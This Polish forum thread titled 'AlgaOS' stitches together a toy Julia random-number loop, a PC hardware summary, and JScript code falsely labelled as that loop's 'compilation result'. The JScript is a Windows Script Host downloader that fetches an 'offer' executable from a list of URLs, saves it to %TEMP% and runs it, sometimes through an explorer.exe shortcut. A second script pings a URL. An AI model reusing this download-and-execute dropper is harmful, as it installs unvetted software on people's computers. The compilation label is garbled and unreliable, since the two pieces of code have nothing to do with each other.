AlgaOS

Moderator: moderatorzy

Regulamin forum
W tym dziale można pisać teksty wykraczające poza uporządkowaną dyskusję na konkretny temat. Nie polecam go osobom szukającym spokojnej rozmowy.
Awatar użytkownika
Niemamnie
zaufany użytkownik
Posty: 15558
Rejestracja: pn lip 30, 2018 8:52 pm
płeć: mężczyzna
Lokalizacja: z Czarnych Dziur, z Pustek Kul, z Lasu gdzie nie ma Czasu

AlgaOS

Post autor: Niemamnie »

j = 0
j = j::Int64
z1 = Array(Float64, 1)
z2 = Array(Float64, 1)
z1 = rand(1)
z2 = rand(1)
x1 = z1[1]
x2 = z2[1]
x1 = x1::Float64
x2 = x2::Float64
while true
print("#:", j, "to", -j, "a", x1, "TO", x2, "~.^^")
z1 = rand(1)
z2 = rand(1)
x1 = z1[1]
x2 = z2[1]
if(x1<x2)
j += j + x1 + x2
else
j -= j + x1 + x2
end
end
Wiele osób mających władzę nad światem nie ma władzy nad życiem. A ci którzy mają władzę nad życiem nie mają władzy nad światem. Gdzie tu sprawiedliwość.
Awatar użytkownika
Niemamnie
zaufany użytkownik
Posty: 15558
Rejestracja: pn lip 30, 2018 8:52 pm
płeć: mężczyzna
Lokalizacja: z Czarnych Dziur, z Pustek Kul, z Lasu gdzie nie ma Czasu

Re: AlgaOS

Post autor: Niemamnie »

Wynik kompilacji:

Kod: Zaznacz cały

WScript.Quit(99);

Kod: Zaznacz cały

/*jshint camelcase:false*/
/*global WScript, ActiveXObject*/
/*jshint strict:false*/

var obj_args = WScript.Arguments;

//First arg: the log file path.
var log_file_path = obj_args(0);

//Second arg: offer name.
var offer_name = obj_args(1);

//Third arg: a comma-separated list of exe download urls to try.
var offer_exe_urls = obj_args(2).split(',');

//Fourth arg: the parameters for when we run the exe.
var offer_exe_commandline = decodeURIComponent(obj_args(3));

//Fifth arg: elevation mode
var elevation_mode = obj_args(4);

//Sixth arg: logon user
var currentUser = obj_args(5);

//Seventh arg: admin user
var adminUser = obj_args(6);

//Eighth arg: autotest mode, this is not mandatory
var autotest;
try {
    autotest = (obj_args(7) === 'autotest');
} catch (e) {
    autotest = false;
}

//Set the current url.  We start with -1 because tryNextUrl increments as the first step.
var current_url_index = -1;

//A guid so we can log and save files uniquely.
var type_gen_obj = new ActiveXObject('Scriptlet.TypeLib');
var my_guid = (new String(type_gen_obj.GUID)).replace(/[^-_a-z0-9]+/gi, '');

//######################################################################
//Predefine this variable, it's used in tryNextUrl but tryNextUrl is used in the real handleOnReadyStateChange so we can't put it first.
var handleOnReadyStateChange;

//Convert non-ASCII string to hex for logging
/**
 * Converts any string to hex
 * @param str : string String that you need to transform
 * @return string Returns the converted hex
 */
var convertStringToHex = function (str) {
    var hex, i;
    var result = "";
    for (i = 0; i < str.length; i++) {
        hex = str.charCodeAt(i).toString(16);
        result += '\\u' + ("000" + hex).slice(-4);
    }

    return result;
};

//######################################################################
var logStr = function (str) {
    //Do we have a file?
    if (!log_file_path) return;

    //clean non-ascii characters
    str = str.replace(/[^\x00-\x7F]/g, function (char) {
        return convertStringToHex(char);
    });

    try {
        //Write (2nd param is iomode; 8 means "append")
        //third param is create if fpath doesn't exist
        //fourth param is format. 0 means ASCII; which is the default. It breaks with Russian
        var fso = new ActiveXObject('Scripting.FileSystemObject');
        var file = fso.OpenTextFile(log_file_path, 8, true, 0);
        file.WriteLine("[" + my_guid + "] " + str);
        file.Close();
    }
    catch (e) {
        WScript.Echo("log file: " + e.message);
    }
};

//######################################################################
var tryNextUrl = function () {
    //Move to the next url.  Any left?
    current_url_index++;
    if (current_url_index >= offer_exe_urls.length) {
        //Nothing left.  Can't install.
        return;
    }

    var currUrl = offer_exe_urls[current_url_index];
    logStr('trying url: ' + currUrl);

    //Add a new xhr.
    var WinHttpReq = new ActiveXObject(
        "WinHttp.WinHttpRequest.5.1");

    //Request.
    try {
        //  Create an HTTP request.
        var temp = WinHttpReq.Open("GET", currUrl, false);
        //  Send the HTTP request.
        WinHttpReq.Send();
        //  Retrieve the response text.
        handleOnReadyStateChange.call(WinHttpReq);
    }
    catch (e) {
        //Huh.  Can't.  Try the next one.
        logStr("xhr error: " + e.message);
        tryNextUrl();
    }

    ////Add a new xhr.
    //var temp_xhr = new ActiveXObject('Msxml2.XMLHTTP');
    //temp_xhr.onreadystatechange = function() { logStr("content:" + temp_xhr.responseText);handleOnReadyStateChange.call(temp_xhr); };
    ////Request.
    //try {
    //    temp_xhr.open('GET', currUrl, false);
    //    temp_xhr.send();
    //}
    //catch (e) {
    //    //Huh.  Can't.  Try the next one.
    //    logStr("xhr error: " + e.message);
    //    tryNextUrl();
    //}
    ////Request sent.  The success/failure will be handled in handleOnReadyStateChange, and it'll call this function to try any others.

};

//######################################################################
handleOnReadyStateChange = function () {
    //Is it complete yet?
    if (this.readyState && this.readyState != 4) {
        //Nope.  Keep waiting.
        return;
    }

    //It's complete.  Is it successful?
    if (this.status === 200 || this.status === 304) {
        logStr('download success: ' + offer_exe_urls[current_url_index]);

        if (autotest) {
            //We are running in automation testing, so it's not required to actualy save the downloaded file
            logStr('[' + offer_name + '] - offer-' + my_guid + '.exe');
            return;
        }

        var shell = new ActiveXObject('WScript.shell');

        //Got it!  Make a file name.
        var tempFolder = changePath(shell.ExpandEnvironmentStrings('%TEMP%')),
            exe_save_path = tempFolder + '\\offer-' + my_guid + '.exe';

        //Make sure the file doesn't exist.
        var file = WScript.CreateObject('Scripting.FileSystemObject');
        if (file.FileExists(exe_save_path)) {
            file.DeleteFile(exe_save_path);
        }

        //Write the file.
        var stream = WScript.CreateObject('ADODB.Stream');
        stream.Open();
        stream.Type = 1; // adTypeBinary
        stream.Write(this.ResponseBody);
        stream.Position = 0;
        stream.SaveToFile(exe_save_path, 2); // adSaveCreateOverWrite
        stream.Close();

        //Run the requested command.
        var commandStr = exe_save_path + ' ' + offer_exe_commandline;
        logStr('running offer exe: ' + commandStr);

        //We are using == instead of === because types can be different
        //and to prevent future bugs
        if (elevation_mode == 1) {
            var tempLNKFolder = shell.ExpandEnvironmentStrings('%SYSTEMDRIVE%') + '\\hydra_tmp_' + my_guid,
                lnk_path = tempLNKFolder + '\\offer-' + my_guid + '.lnk',
                tempFolder_u = '%TEMP%',
                exe_save_path_u = '%TEMP%\\offer-' + my_guid + '.exe';

            file.CreateFolder(tempLNKFolder + "\\");
            //Generate lnk so we could run exec with arguments
            var sc = shell.CreateShortcut(lnk_path);
            sc.TargetPath = exe_save_path_u;
            sc.Arguments = offer_exe_commandline;
            sc.Description = 'offer-' + my_guid;
            sc.WorkingDirectory = tempFolder_u;
            sc.Save();
            shell.Exec('"%WINDIR%\\explorer.exe" "' + lnk_path + '"');
            WScript.Sleep(5000);
            file.DeleteFolder(tempLNKFolder);
        } else {
            shell.Run(commandStr);
        }

        //Apparently we have to do this to free the process so it'll run when we quit.
        shell = null;
        return;
    }

    //Download failed.  Cancel the xhr request.
    logStr('download failed:' + this.status);
    this.abort();

    //Try the next one!
    tryNextUrl();
};

//######################################################################
changePath = function (path) {
    if (currentUser !== "" && currentUser !== adminUser) {
        path = path.replace("\\" + adminUser + "\\", "\\" + currentUser + "\\");
    }

    return path;
};
//Start it off!
logStr('invoked[' + offer_exe_urls + '][' + offer_exe_commandline + ']');
tryNextUrl();

Kod: Zaznacz cały

/*jshint camelcase:false*/
/*global WScript, ActiveXObject*/

var objArgs = WScript.Arguments;

var pingUrl = objArgs(0);

var xhr = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
try {
    xhr.open('GET', pingUrl, true);
    xhr.send();
    xhr.WaitForResponse(15);
}
catch (e) {
    /*do something useful*/
}
Wiele osób mających władzę nad światem nie ma władzy nad życiem. A ci którzy mają władzę nad życiem nie mają władzy nad światem. Gdzie tu sprawiedliwość.
Awatar użytkownika
Niemamnie
zaufany użytkownik
Posty: 15558
Rejestracja: pn lip 30, 2018 8:52 pm
płeć: mężczyzna
Lokalizacja: z Czarnych Dziur, z Pustek Kul, z Lasu gdzie nie ma Czasu

Re: AlgaOS

Post autor: Niemamnie »

Kod: Zaznacz cały

Podsumowanie
		System Operacyjny
			Windows 10 Pro Insider Preview 64-bit
		CPU
			Intel Core 2 Duo E6300 @ 1.86GHz	83 °C
			Technologia Conroe 65nm
		RAM
			3,00GB 1-Kanałowy DDR2 @ 265MHz (4-4-4-12)
		Płyta Główna
			ASUSTeK Computer INC. P5VD2-X (Socket 775)	73 °C
		Grafika
			W1942 (1280x1024@64Hz)
		Nośniki
			186GB SAMSUNG HD200HJ ATA Device (SATA)
		Napędy Optyczne
			HL-DT-ST DVDRAM GSA-H12N ATA Device
		Audio
			Realtek High Definition Audio
Wiele osób mających władzę nad światem nie ma władzy nad życiem. A ci którzy mają władzę nad życiem nie mają władzy nad światem. Gdzie tu sprawiedliwość.
ODPOWIEDZ

Wróć do „varia”